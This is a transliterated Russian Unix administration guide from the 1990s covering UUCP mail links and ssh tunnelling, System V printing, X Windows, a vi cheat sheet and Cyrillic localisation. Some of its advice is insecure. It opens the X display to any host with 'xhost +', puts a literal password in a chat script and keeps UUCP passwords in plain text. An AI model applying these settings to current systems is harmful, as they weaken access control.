/usr/lib/uucp/uucico -x all -f -s kiae
A zatem posmotrite na soderzhanie fajlov so statistikoj uucp v
kataloge /var/spool/uucp :
.Admin/audit.local
.Log/
.Status/
ERRLOG
LOGFILE
SYSLOG
Naprimer, takoj komandoj
tail -f /var/uucp/.Admin/audit.local &
tail -f /var/uucp/.Log/uucico/kiae
&dDPo rezul'tatam perepiski&d@.
###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')####
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517 St. Petersburg, Russia
> Naveshal fil'trov na sendmail, rmail,
> a vot eto neponyatno. Ili oni nauchilis' vse iz koi8 v iso pere-
> vorachivat' na letu ?
Net, konechno, potrebovalos' lechit'. Delo sil'no uprostilo to
obstoyatel'stvo, chto vnutri seti vezde ISO. Perekodirovat' po-
etomu mne nado tol'ko to, chto idet cherez UUCP, to bish' naruzhu.
Dlya etogo prishlos':
1. Popravit' sendmail.cf:
# RelCom UUCP - with ISO 8859-5 to KOI-8 translation
Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000,
^^^^^^^^^^^^^^^^^^^ moj, sm. nizhe
A=_uux - -r -a$f -gC $h!rmail ($u)
2. Sdelat' /usr/local/bin/_uux iz treh strok:
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/iso-koi | /usr/bin/uux $*
(iso-koi - ponyatno kakoj fil'tr)
|to vse, na samom dele, ves'ma gryaznyj hack - vryad li stoit ego
vklyuchat' v uchebnik. Ono, konechno, rabotaet, no vot nado po
krajnej mere eshche i pravil'nyj kod vozvrata kak-to obespechit' -
s proverkoj oshibok i prochimi fenechkami.
CHtoby prinimaemaya pochta iz KOI prevrashchalas' v ISO, dostatochno:
1. Pereimenovat' rmail v /usr/local/bin/__rmail;
2. Sdelat' svoj rmail, tozhe iz treh strochek:
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/koi-iso | /usr/local/bin/__rmail $*
Vysheukazannuyu ekzekuciyu nado proizvodit' imenno nad rmail, po-
tomu chto rbmail proveryaet kontrol'nye summy.
A vot rbmail v SVR4/88 sovsem net. Nado iskat' ishodniki, sobi-
rat'... A RelCom (po krajnej mere moj provajder) imenno ego
pol'zuet. |to tret'ya prichina (posle otsutstviya Taylor-uucp i
udobnogo Mail-user agenta), po kotoroj ya ne stal podnimat'
uucp/e-mail na Motorole.
--
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517 St. Petersburg, Russia
-- Konec citaty --
################_konec_"melkogo shrifta"_#######################
&dDSolaris: nastrojka uucp po direct line&d@
V fajle Systems na Solyarke udalennaya mashina opisyvaetsya tak:
ranisi Any dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO
Po sravneniyu s normal'nym tailor-uucp prestarelyj solyarkin
po pryamomu kabelyu vykinul neskol'ko fortelej:
Ne zahotel idti naruzhu s 38400, prishlos' stavit' 9600
Posylaemyj ^M v konce kazhdoj stroki chat-a prinimayushchij
Linux ponimat' otkazalsya, prishlos' delat' v konce \n\c
Rabotat' stal tol'ko s nasil'stvenno vzvedennym P_ZERO -
"no parity" - bez etogo na prieme vmesto latinicy poluchalas'
8-bitnaya rusica.
V uucp-ovyj crontab stavim raz v 5 minut vyzov uucico
0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\
/usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \
/usr/lib/sendmail -q ) > /dev/null 2>&1
U solyarnogo uucico ne okazalos' klyucha "force" redial (-f -
sovsem ne tot force, kotorogo hotelos' mne)
&dDCHtob zastavit' uucico hodit' na telnetovskij port&d@
> v logah nablyudaetsya otkrovennyj musor: \177}\030\177} \177}#\177}
port type pipe
port command /bin/telnet -8E hostname
&dDSecure uucp po tcp&d@
&dDVariant 1. port type tcp with ssh-port forwarding&d@
NA SERVERE: konfigurite uucp-tcp-server s localhost
/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l
/etc/hosts.allow :
uucico: 127.0.0.1
# uucico zhelaet ego chitat', a rabotaet on s uid uucp - prihoditsya dat' read
chmod og+r /etc/hosts.allow
/etc/uucp/passwd : propisatx uu-login, parol' _neshifrovannyj_
uuyourlogin yourpasswd
NA KLIENTE: konnekt budete delat' na localhost, a ssh delaet ego probros
/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l
/etc/hosts.allow :
uucico: 127.0.0.1
/etc/uucp/port : opisat' port tcp-connect
port tcp-connect
type tcp
service 540
/etc/uucp/sys : dobavit' tip porta
. . .
port tcp-connect
address 127.0.0.1
chat ogin: \L ssword: \P
alternate
. . .
"Pered upotrebleniem" zapuskaem iz pod root ssh s aktivizirovannym forward
ssh1 -C -L 540:127.0.0.1:540 193.232.173.6
.
&dDSistema pechati v Unix. LP spoolling&d@
(opisana sistema pechati v System V)
Pechatat', konechno, mozhno i tak: cat file > /dev/lp. No v
mnogopol'zovatel'skoj sisteme takoj fokus ne vsegda projdet.
Poetomu pechataemyj fajl stavyat v ochered' na pechat'.
Imeem printer. U printera est'
IMYA_PRINTERA - pridumyvaetsya administratorom.
PORT_PRINTERA - special'nyj fajl v kotoryj nado
vytalkivat' dannye dlya pechati.
INTERFEJSNAYA_PROGRAMMA - programma, kotoraya kak raz i
budet etim zanimat'sya.
Esli u nas normal'no skonfigurena sistema pechati, to
pechatat'sya mozhno tak:
lp -d IMYA_PRINTERA file
ili, esli my hotim napechatat' na "default" printere
cat file | lp
lpstat Posmotret' v kakom sostoyanii ochered' pechati
cancel [identifikator_zaprosa ...] [printer ...]
Srubit' zapros na pechat'
lp prosto skladyvaet fajl v SPOOL KATALOG. DEMON PECHATI
lpsched obnaruzhivaet vnov' postupivshij fajl, stavit ego v
ochered' na pechat', i, kogda ochered' dohodit, zapuskaet nakonec
INTERFEJSNUYU PROGRAMMU, vhod kotoroj beretsya iz pechataemogo
fajla, a ee vyvod perenapravlyaetsya na PORT_PRINTERA.
&dDPodklyuchit' k sisteme novyj printer&d@
---------------------------------------------------------------
lpshut # na vremya rekonfiguracii nado "gasit'" lpsched
lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2
ili
lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty
enable Nash_Nowyj_Printer
accept Nash_Nowyj_Printer
lpsched # posle rekonfiguracii nado vnov' zapustit' lpsched
---------------------------------------------------------------
accept - pozvolyaet stavit' v ochered' pechat' na etom printere
enable - razreshaet pechatat' stoyashchie v ocheredi zadaniya
klyuchi komandy lpadmin
-pImya_Novogo_Printera
-vPORT_PRINTERA
-iINTERFEJSNAYA_PROGRAMMA - marshrutnoe imya programmy,
kotoraya pechataet
-mMODELX_PROGRAMMY - imya "modeli" takoj programmy,
lezhashchej v kataloge
/usr/lib/lp/model
-o nobanner - razreshit' useru pisat' lp -o nobanner
(rekomenduyu amputirovat' banner v interfejsnom skripte)
-d printer - sdelat' printerom po umolchaniyu
-?Udalennyj_host - mozhno podklyuchat' printer udalennoj mashiny
-?Imya_printera_na_udalennom_hoste
(klyuchi ne pomnyu, posmotret' v man)
-s host!printer - dlya Solaris - podklyuchenie udalennogo printera
# pered etim vpisat' printer v /etc/lp/Systems
Vmeste s sistemoj nakopleniya vyvoda na printery
postavlyayutsya obrazcy interfejsnyh programm. Oni predstavlyayut
soboj shell-procedury, perekodiruyushchimi pechataemyj fajl v format
sootvetstvuyushchego printera.
&dDPrimery&d@
lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0 # lokal'nyj printer
lpadmin -pstar1 -mdumb -v/dev/lpt1
&dDPodklyuchit' k sisteme udalennyj printer&d@
(klyuchi var'iruyutsya dlya raznyh versij Unix)
HP-UX:
lpadmin -pLJ_printer -?host -?printer
Solaris:
vpisat' udalennuyu mashinu v /etc/lp/Systems a zatem
lpadmin -pLJ_printer -s 'host!printer' ; accept LJ_printer
lpadmin -dstar1 # Ustanovit' printerom po umolchani`
lpadmin -xstar1 # Likvidirovat' printer star1
&dDFajly&d@
/usr/lib/lp/model # Obrazcy interfejsnyh programm (modeli)
/etc/lp # Katalog konfiguracii sistemy LP
/var/spool/lp/* # Katalogi s ocheredyami
man lpadmin # Estestvenno!
.
&dDGraficheskaya obolochka X-Windows System&d@
Dlya nachala nemnogo istorii i obshchih mest. Predstavim, chto
nam nuzhno napisat' programmu, kotoraya budet rabotat' v
graficheskom rezhime. Nam potrebuetsya: oprashivat' klaviaturu,
snimat' sobytiya i koordinaty myshi, risovat' na ekrane, ... Kak
eto delalos' na MS-DOSe? Ochen' prosto. Pishem odnu bol'shuyu
programmu, v nej - vse: i logika, i obrabotka sobytij, i
slezhenie za peremeshcheniyami myshi, nu, a kogda trebuetsya chto-to
narisovat', my daem komandu na zapis' v porty EGA kontrollera,
risuem piksel... CHerez god poyavlyaetsya kontroller VGA, eshche cherez
god SVGA 800x600, 16 cvetov, vsled za nim UVGA 1024x768, 256
cvetov, zatem XGA 1280x1024, 16Mb cvetov...
&dDOsnovnaya ideya X Windows&d@.
Imeem dve nezavisimyh programmy. Odna umeet risovat' na
graficheskom monitore, i voobshche, obsluzhivat' vse eto zhelezo. Ona
nazyvaetsya X-server. Vtoraya programma - nazyvaem ee klient X
Windows, risovat' fizicheski ne umeet. Zato ona znaet, chto
imenno nado risovat', i umeet komandovat'. Komandy tipa:
"narisovat' pryamougol'nik", "provesti liniyu", "otkryt' okno",
"vyvesti simvol v zadannom fonte", "oprosit' koordinaty myshi",
i t.p. peredayutsya X-serveru, a tot ih ispolnyaet - risuet.
Format i specifikacii etih komand opublikovany,
standartizovany, i shiroko izvestny. Vse vmeste oni nazyvayutsya
"Protokol X Windows".
Itak, povtorim.
X-server. Programma, kotoraya napisana special'no pod
konkretnoe fizicheskoe ustrojstvo (imeetsya v vidu - monitor,
grafkontroller, mysh' i klaviatura), umeet na nem risovat', i
umeet ponimat' komandy risovaniya po protokolu X Windows System.
X-klient. Prikladnaya programma, obespechivayushchaya graficheskij
interfejs s pol'zovatelem. Komandy dlya risovaniya na ekrane
peredaet X serveru po protokolu X Windows System.
X-terminal. YAshchik (monitor, grafkontroller, mysh',
klaviatura, nu i, estestvenno, processor i operativnaya pamyat'),
na kotorom zapushchena programma X-server. X-terminalom mozhet
sluzhit' samaya obyknovennaya graficheskaya Unix-rabochaya stanciya, na
kotoroj X server vypolnyaetsya, kak odna iz mnogih prikladnyh
zadach. Specializirovannyj X-terminal - yashchik, na kotorom
zapuskaetsya tol'ko X server, i nichego krome. Mozhno ispol'zovat'
PC pod MS-DOSom, na kotorom zapushchena DOSovskaya programma,
realizuyushchaya X server.
Xlib - biblioteka C-ishnyh funkcij, realizuyushchih protokol X
Windows System. S pomoshch'yu etoj biblioteki mozhno pisat'
graficheskie programmy - X-klienty.
CHto my s etogo imeem.
My poluchaem universal'nyj GAPI - (Graphical Application
Programming Interface) - sredstvo programmirovaniya graficheskih
prilozhenij. Pol'zovatel'skie graficheskie programmy pri etom
polnost'yu otvyazany ot zheleza, ot konkretnogo grafkontrollera.
O zheleze pust' bespokoitsya X-server.
Protokol X Windows umeet "ezdit'" po seti: naprimer po TCP/IP,
ili po DEC-net. Poetomu Xserver mozhet krutit'sya na odnoj
mashine, a X-klient - na drugoj. To est', kartinka risuetsya na
odnoj mashine, a programma, kotoraya ee obespechivaet - krutitsya
na drugoj.
X-server sposoben obsluzhivat' srazu mnogo klientov, prichem vseh
- odnovremenno. Na nashem graficheskom ekrane mozhet byt' otkryto
srazu mnogo okon - kazhdoe okno porozhdaetsya ego sobstvennym X
klientom. Klienty eti mogut byt' zapushcheny i na nashej mashine (k
kotoroj podklyuchena graficheskaya podsistema), i na udalennyh ma-
shinah, soedinennnyh s nami po seti.
CHego nam eto stoit.
Ponyatno chego. Resursov. X Windows ochen' lyubit resursy - pamyat',
processor, disk. Sposoben s®est' ih v neogranichennyh koliches-
tvah. A eshche ved' nado programmirovat'. (K schast'yu, ne vsem na-
do). Kto videl, kak vyglyadyat programmy dlya MS Windows ili Mac,
mozhet predstavit' sebe vneshnij vid ishodnyh tekstov X-ovoj
programmy.
&dDKak eto zapuskaetsya&d@.
Pust' v nashej seti est' mashina s graficheskoj podsistemoj i X
serverom, i setevoj adres etoj mashiny pcat107.foms.msk.ru
na pcat107 nuzhno vypolnit' komandu:
xhost + # razreshit' X-ovym programmam s LYUBOJ mashiny
# risovat' na ekrane mashiny pcat107
Zapuskaem na nashem komp'yutere X-ovuyu programmu, tak, chtoby ee
okoshko risovalos' na monitore pcat107. Dlya etogo na nashem
komp'yutere nuzhno vypolnit' komandu:
xterm -display pcat107:0.0 &
&dDBiblioteki, Motif, i vojna kruglyh i kvadratnyh knopok&d@.
Mozhno pisat' X-ovye programmy, ispol'zuya biblioteku Xlib.
Mnogie tak i pishut, hotya eto ves'ma tyazhelo - uzh bol'no nevysok
uroven' Xlib'a. V pomoshch' programmistam bylo sozdano neskol'ko
toolkit'ov - bibliotek bolee vysokogo urovnya, v kotoryh reali-
zovany razlichnye widget'y. Widget - neperevodimyj termin X
Windows. Skleen iz dvuh slov - Window i Gadget
(prisposoblenie), yavlyaetsya graficheskim ob®ektom s privyazannymi
k nemu svojstvami i reakciyami na dejstviya pol'zovatelya. Primery
widgetow: "knopka", "menyushka", "okoshko s tekstom", "linejka
prokrutki",...
Izvestny sleduyushchie toolkit'y:
Xaw -
Anthena Widgets. Ochen' cherno-belyj, ochen' ploskij,
ves'ma nebogatyj. Zato - besplatnyj. Posmotrite, kak
vyglyadyat programmy xterm, xedit, xman. Oni sdelanny
na Xaw.
xview -
Nabor bibliotek i ob®ektov, ispol'zovannyh v realiza-
cii nabora pol'zovatel'skih utilit Sun-ovskoj versii
X Windows - "Open Windows". Ves'ma simpatichno. Krug-
lye knopki, "shpricy-igolki" (zamechatel'naya veshch'!),
ochen' horosho produmannyj interfejs pol'zovatelya, v
tom chisle aktivno ispol'zuemaya treh-knopochnaya mysh'.
Ishodnye teksty bibliotek xview otkryty, predostavlya-
yutsya besplatno. Odnako nabor DeskSet - 15 pol'zova-
tel'skih utilit vhodyashchih v OpenWindows, sdelannyj na
biblioteke xview, SunSoft gotov predostavit' tol'ko
za platu. V binarnom vide - ves'ma deshevo ($100). V
ishodnyh tekstah - ves'ma dorogo ($200K)
Motif -
Biblioteka postavlyayutsya organizaciej OSF za ne sovsem
malen'kuyu platu. Ishodnye teksty bibliotek nedostup-
ny, libo chrezmerno dorogi. Knopki - kvadratnye, da i
voobshche Motif'ovskie prilozheniya do bezobraziya napomi-
nayut MS Windows (chto, IMHO, yavlyaetsya ser'eznym pres-
tupleniem)
V bor'be BSD i Unix V pobedil, kak izvestno, System V, a v voj-
ne kruglyh i kvadratnyh knopok vyigral Motif.
&dDKonfigurirovanie X Windows&d@
V Linux ispol'zuetsya X11 v realizacii XFree86.
CHtoby ego skonfigurirovat', vypolnite komandu
xf86config
&dDZapusk X Windows&d@.
Na nekotoryh mashinah on sam zapuskaetsya. A takzhe inogda
udaetsya zapustit' ego vruchnuyu komandami: startx i/ili openwin
Solaris:
1. Ustanovite peremennye okruzheniya:
OPENWINHOME=/usr/openwin export OPENWINHOME
LD_LIBRARY_PATH=/usr/openwin/lib export LD_LIBRARY_PATH
PATH=/usr/openwin/bin:$PATH export PATH
XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR
2. Zapustite X Windows komandoj
openwin
"Normal'nye" Unix'y:
1. Ustanovite peremennye okruzheniya:
PATH=/usr/bin/X11:$PATH
XAPPLERESDIR=/usr/lib/X11/app-defaults
2. Zapustite X Windows komandoj
startx
"Nenormal'nye" Unix'y (Unixware).
Kogda registriruete pol'zovatelya, otvet'te Yes na vopros
"Hotite graficheskij DeskTop". Togda posle login'a X Windows
budet zapuskat'sya avtomaticheski. Esli vy prozevali, i otvetili
No, to nikakim osmyslennym sposobom zapustit' X Windows dlya
sebya vam ne udastsya.
&dDNastrojki pol'zovatel'skogo okruzheniya X Windows&d@
Pri nalichii pol'zovatel'skih nastroechnyh fajlov, lezhashchih v
domashnem kataloge pol'zovatelya, ispol'zuyutsya oni. Esli ih net,
ispol'zuyutsya standartnye, obshchestvennye, obychno lezhashchie v
kataloge /usr/lib/X11 ili /usr/openwin/lib
Personal'nye i obshchestvennye pol'zovatel'skie nastrojki
hranyatsya v fajlah:
$HOME/.Xdefaults
$HOME/.OWdefaults
/usr/lib/X11/Xdefaults
/usr/openwin/lib/Xdefaults
/usr/openwin/lib/app-defaults/*
Posle lyubyh ispravlenij fajl s resursami neobhodimo perezachitat':"
xrdb -merge .Xdefaults
Okruzhenie (desktop) - t.e. programmy, kotorye startuyut
avtomaticheski pri zapuske X Windows nahoditsya v fajlah:
Solaris:
$HOME/.openwin-init
/usr/openwin/lib/openwin-init
"Normal'nnye" X windows:
$HOME/.xinitrc
/usr/lib/X11/xinit/xinitrc
Nastrojki window-manager'a - t.e. - povedenie okon,
menyushki pol'zovatelya, raskladka komand na klavishi myshki, ...
Solaris:
$HOME/.openwin-menu
$HOME/.openwin-menu-*
/usr/openwin/lib/openwin-menu
/usr/openwin/lib/openwin-menu-*
Linux
$HOME/.fvwmrc
/usr/lib/X11/fvwm/system.fvwmrc
.
&dDRedaktor VI. Spisok komand&d@
&dDREZHIMY&d@: Vvoda == ESC ====> Komandnyj == :Q ==> Redaktora ed
^ | ^ |
+----aAiIcCrRs <---+ +----- vi -------+
&dD &d@ &dDPEREMESHCHENIE PO FAJLU&d@
{strelki},hjkl
^U/^D tabulyaciya vverh/vniz
^F/^B stranicu vniz/vverh
^E/^Y podvinut'sya na stroku vniz/vverh
w/b/e vpered/nazad na slovo/v konec slova
W/B/E vpered/nazad na slovo/v konec oprobelennogo slova
(/) nazad/vpered na predlozhenie
{/} nazad/vpered na abzac
[[/]] nazad/vpered na funkciyu ili sekciyu
% najti parnuyu skobku ( ili {
{n}G na stroku {n}
{n}| v kolonku {n}
H/M/L v nachalo/seredinu/konec ekrana
z/z./z- tekushchuyu stroku v nachalo/seredinu/konec ekrana
^/$/0 nachalo/konec stroki
&dD &d@ &dDREDAKTIROVANIE TEKSTA&d@
x unichtozhit' simvol
X zaboj
J skleit' stroki
&dD &d@ &dDV REZHIMY VVODA&d@
a/i / A/I vstavka za/pered _ / koncom/nachalom stroki
R rezhim zameny
r bukva na bukvu
s bukva na bukvy
o/O vstavit' stroku pod/nad _
C$ Zamenit' konec stroki
&dD &d@ &dDINFORMACIYA&d@
^G o tekushchem fajle i stroke
&dD &d@ &dDOTKATKA&d@
u otkatka (odna)
^L/^R pererisovat'
&dD &d@ &dDREDAKTIROVANIE V REZHIME VVODA&d@
ESC vernut'sya v komandnyj rezhim
Zaboj Zaboj
^W/^U Ubrat' slovo/Ubrat' stroku
^V Vstavit' CRTL-simvol[y]
&dD &d@ &dDOPERATORY S POZICIONIROVANIEM&d@
p/P vspomnit' fragment za/pered _
{n} ["bukva_bufer] "komanda" {m}"komanda pozicionirovaniya"
ves' fragment zapominaetsya! ili povtor komandy dlya stroki
d unichtozhat' fragment
y zapominat' frag
c zamenit' fragment (==> v rezhim vvoda )
&dD<&d@/&dD>&d@ sdvinut' vlevo/vpravo
! komanda propustit' fragment cherez fil'tr
&dD &d@ &dDPRIMERY&d@
7yy zapomnit' 7 strok v neimenovannom bufere
"aAd{ dobavit' k buf a s udaleniem ot _ do nachala abzaca
!G sort otsortirovat' stroki ot kursora i do konca
&dD &d@ &dD"MAKROKOMANDY"&d@
:map klavisha_imya_makro telo_makrokomandy {CR}
:map! klavisha_imya_makro telo_makrokomandy {CR} - v rezhime vvoda
:ab sokrashchenie sokrashchaemyj_tekst {CR} - v rezhime vvoda
&dD &d@ &dDPOISK&d@
?stroka iskat' vverh
/stroka iskat' vniz
n povtorit' poisk
N vernut'sya na poslednyuyu najdennuyu stroku
&dD &d@ &dDPOISK_S_ZAMENOJ&d@
:s/reg_vyrazh/zamena/gc - global'nyj s podtverzhdeniem
:Q/vi vhod / vyhod v rezhim ed
:g/stroka - postavit' vizual'nyj fil'tr
:+5 dvizhenie po fajlu
&dD &d@ &dDREDAKTOR_ED. Vhod ":" (nadolgo "Q") Vyhod "CR" / (VI)&d@
^^ Perejti v al'ternativnoe okno
:[1,$] w [>>] [file] zapisat' v file [ot 1 do $ stroki]
:q[!] zakonchit' seans [forsirovanno]
:[15]r [file] ili [!komanda] vstavit' posle [15] str
:e redaktirovat' novyj fajl
:n redaktirovat' sleduyushchij fajl
:sh vyjti v Shell
:! komanda zapustit' na vypolnenie Shellom
&dD &d@ &dDUSTANOVKA REZHIMOV VI&d@
:set nu / nonu numerovat'/nenumerovat' stroki
:set smd{CR} pokazyvat' tekushchij rezhim
EXINIT="konfiguracionnye komandy" - peremennaya okruzheniya
.exrc - fajl s komandami konfiguracii
.
&dDKak podklyuchit' russkie fonty k komp'yuteru s X11&d@
1. Sozdaem katalog cyrfonts. Kopiruem tuda fajly *.bdf ili *.pcf
mkdir cyrfonts
cp *.bdf *.pcf cyrfonts
Zamechanie: predpochtitel'no dobyt' fonty v formate PCF a ne
BDF Problema v tom, prilozhenie zakazyvaet razmer fonta,
kotorogo u X ili FONT-servera net, to FONT-server pytaetsya
skalirovat' i v sluchae .BDF pogibaet i ubivaet vse, chto pod nim
zapushcheno. Konvertirovat' bdf-fonty mozhno komandoj bdftopcf.
2. V kataloge s fontami sozdaem oglavlenie fontov dlya
X-server'a : fonts.dir
cd cyrfonts
mkfontdir
3. Ukazyvaem X-server'u, chtob on bral fonty iz nashego kataloga
xset +fp $HOME/cyfonts
xset fp rehash
4. Pol'zuemsya russkimi fontami.
xterm -fn koi9x15
mailtool -fn koi6x10
i t.d.
&dDCHtoby russkie fonty vklyuchalis' i nahodilis' po umolchaniyu&d@
5. Do zapuska X-Windows ustanovit' peremennuyu okruzheniya FONTPATH
Esli u vas Bourne Shell /bin/sh ili bash ili ksh
FONTPATH=$HOME/cyrfonts: export FONTPATH
Esli sud'ba ugorazdila pol'zovat'sya C-Shell /bin/csh ili tcsh
setenv FONTPATH $HOME/cyrfonts:
6. Ili skopirovat' fonty v direktoriyu so standartnymi fontami.
cp *.bdf /usr/lib/X11/fonts/misc
cd /usr/lib/X11/fonts/misc
mkfontdir
xset fp rehash
7. Esli u vas XFree, to dobavit' strochku v fajl /etc/X11/XF86Config
FontPath "/home/yourname/cyrfonts/"
8. Ustanovit' font po umolchaniyu v svoem .Xdefaults fajle.
Dobavit' v fajl .Xdefaults takie strochki:
font.name: koi9x15
icon.font.name: koi6x10
XTerm*font: koi6x10
XTerm*VT100*font1: koi6x10
XTerm*VT100*font2: koi8x13
XTerm*VT100*font3: misc16
XTerm*VT100*font4: misc24
XTerm*VT100*font5: demos8x14
XTerm*VT100*font6: demos8x16
emacs.font: koi9x15
emacs.default_font: koi9x15
&dDEsli u vas SunOs 4.1.1 i, sootvetstvenno, NeWS&d@
Togda vsya vysheopisannaya procedura ne srabotaet. U NeWS
sovershenno sobstvennyj format fontov.
1. Preobrazuem fonty v format NeWS
convertfont *.bdf
2. Sozdaem oglavlenie dlya NeWS server'a
bldfamily
3. Podklyuchaem fonty v tochnosti, kak v standartnom X11
xset +fp `pwd` # Dopolnyaem katalog, podklyuchaem fonty.
xset fp rehash # CHtob server perezachital katalogi s fontami
vse.
Eshche mozhno v fajl Synonims.list votknut' strochku s aliasami.
Inache fonty budut brat'sya tol'ko po imeni fajlov.
&dDRedaktirovanie fontov.&d@
Nekotorye komplektty X-Windows imeyut redaktor fontov. On mozhet nazyvat'sya
xfed, fontedit, xfd. Esli u vas takovogo net, poprobujte najti ishodniki.
xfed font.bdf
convertfont -v font poluchaem font.vfp
fontedit font.vfp
zatem convertfont -b ?? font.vfp i poluchaem font.ff
&dDPodklyuchenie russkoj klaviatury v X-Windows&d@
Dostan'te fajly s raskladkoj klaviatury. (Ih mozhno najti vo
mnogih mestah, v chastnosti zdes'). Vypolnite komandu
xmodmap fajl-s-raskladkoj.xmm
Pereklyuchatel' rus/lat - klavisha CapsLock
CHtoby otklyuchit' russkuyu klaviaturu, vypolnitte komandu
xmodmap default.xmm
&dDPodklyuchenie russkoj klaviatury v XFree86&d@
XF86Config:
Section Keyboard
LeftAlt Meta
AltGr ModeShift
Right_Ctl ModeLock
ScrollLock ScrollLock
EndSection
Veshaet pereklyuchatel' na pravyj Ctrl, pri etom eshche i lampochka
CapsLock budet zagorat'sya.
&dDPereklyuchatel' kirilicy v XFree86 3.2.2&d@
V svezhej versii Xfree_3.3.2
pereklyuchatel' kirilicy vstroennyj s razdachi, raskladka jcuken
pereklyuchatel' zadaetsya v /etc/X11/XFconfig
Section "Keyboard"
# XkbDisable
Protocol "Standard"
XkbRules "xfree86"
XkbModel "pc101"
XkbLayout "us"
XkbOptions "grp:shift_toggle"
EndSection
Varianty pereklyuchatelej:
grp Group Shift/Lock behavior
grp:switch R-Alt switches group while pressed
grp:toggle Right Alt key changes group
grp:shift_toggle Both Shift keys together change group
grp:ctrl_shift_toggle Control+Shift changes group
grp:ctrl_alt_toggle Alt+Control changes group
&dDPodklyuchenie russkoj klaviatury v OpenWindows na SUN&d@
Voz'mite fajl s raskladkoj dlya SUNa (naprimer u menya),
pomestite v svoem domashnem kataloge pod imenem .keytable i
zapustite openwin. Pereklyuchatel' rus/lat - klavisha pravyj AltGraph
&dDPodklyuchenie russkoj klaviatury v DT/CDE HP-UX&d@
keymap_ed -i 1101
&dDCHtob bash vosprinimal russkie bukvy s klaviatury&d@
Vpisat' v $HOME/.inputrc stroki
set meta-flag on
set convert-meta off
set output-meta on
Ili vpisat' v .profile stroki
LC_CTYPE=iso_8859_1 export LC_CTYPE
LC_LOCALE=iso_8859_1 export LC_LOCALE
LESS="-e -r" export LESS # chtob less pokazyval russkie bukvy
&dDGde vse lezhit&d@
Sm. katalog rusifikacii
&dDEsli chto-to ne poluchilos'.&d@
1. Esli u vas Solaris 2.3, to:
Vo vseh "rodnyh" (kotorye ne X11) Sun'ovskih programmah russkih
bukv ne budet. Kak to: textedit, cmdtool, mailtool
2. Postav'te svezhij Solaris 2.5 ili 2.4. Esli ne mozhete, to
ispol'zujte vmesto nih emacs, xterm, xedit.
3. Ili razbirajtes' samostoyatel'no s takimi ponyatiyami kak
ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on.
hotya vse zhe mozhete poprobovat':
LC_LOCALE=iso_8859_1 export LC_LOCALE
LC_CTYPE=iso_8859_1 export LC_CTYPE
LANG=iso_8859_1 export LANG
&dDRusifikaciya Netscape&d@
V Netscape 3 uzhe realizovan encoding koi8-r. Dostatochno
ustanovit' komplekt fontov koi8-r (zaaliasennye as iso8859-1),
i vindovskie, zaaliasennye as Family (Mswin)-*-iso8859-1 A
zatem vybrat' Document encoding koi8-r i postavit' dlya nego
russkie fonty.
&dDCHtob otpravlyaemaya pochta uhodila s polem charset=koi8-r&d@
Vstavit' v .Xdefaults strochki:
Netscape*defaultCharset: koi8-r
Netscape*localeCharset*C: koi8-r
Netscape*localeCharset*koi8-r: koi8-r
Netscape*localeCharset*koi8-u: koi8-r
Netscape*localeCharset*ru: koi8-r
Netscape*localeCharset*ru_SU: koi8-r
Netscape*localeCharset*ru_SU.KOI8-R: koi8-r
&dDA eshche ya umeyu rusificirovat', no ne napisal instrukcii:&d@
Sistemnaya konsol' Linux - podklyuchenie russkih shriftov na ekrane
i pereklyuchatelya klaviatury na pravyj ALT.
&dDKirilizaciya Applixware&d@
Applixware - ogromnyj (140Mb) offisnyj paket pod Unix
(Solaris/AIX/Linux/SCO/...), v kotorom est' vse, chto polagaetsya
- vordprocessor, elektronnye tablicy, image-editor,
veb-brouzer, html-redaktor, pochtovyj klient i t.d.
Pol'zovat'sya im ne sobirayus', mne dostatochno Winword-6 v
WABI 2.2b
Kirilizaciyu Applixware opisal Viktor Kolosov
http://triton.itep.ru/ru/skynet/system.html
> Prostoj i ochevidnyj sposob dobavleniya TTF-shriftov v Applix-e - cherez menyu,
> sozhaleniyu, privodit k zametnoj na glaz krivizne bukv pri pechati
> (dlya TTF). Poetomu tam opisano kak to zhe samoe sdelat' cherez PostScript.
From: Vasilij Egoshin
Po-moemu na etoj stranichke vse slishkom slozhno. YA proshche
postupil: s pomoshch'yu Applix'ovskogo font-installera prikrutil
vindovskie ttf'y i na etom v principe i vse :) I otobrazhaetsya i
pechataetsya vse na ura. (Prichem obmen s vordom cherez rtf - bez
problem).
Edinstvennoe neudobstvo - ttf'y dolzhny byt' paragrafovskie
- s yunikodnymi rabotat' ne budet, t.k. tam russkie simvoly
nachinayutsya s kodov 400 (vrode by).
.
&dDPutevoditel' po konfiguracionnym fajlam Unix&d@.
Kornevoj katalog "/"
bin - katalog naibolee upotrebitel'nyh komand pol'zovatelya.
sbin - utility sistemnogo administratora
eto vse, chto u nego budet v odnopol'zovatel'skom rezhime
dev - "ustrojstva" - special'nye fajly
etc - mesto dlya konfiguracionnyh fajlov
tmp - katalog vremennyh fajlov - dlya sistemy i dlya pol'zo-
vatelej. CHistitsya pri kazhdoj zagruzke.
lib - biblioteki i fajly, ispol'zuemye kompilyatorami, raz-
delyaemye biblioteki
shlib - razdelyaemye biblioteki
usr - strashno govorit', no chego tam tol'ko net
mnt - "dezhurnyj" katalog, dlya podmontirovaniya
fajlovyh sistem
var - izmenyaemye konfiguracionnye i sluzhebnye fajly
home - zdes' zhivut "usery"
export - "eksportiruemye" fajly. V chastnosti, soderzhit fajlovye
sistemy dlya bezdiskovyh klientov, montiruyushchih ih po NFS
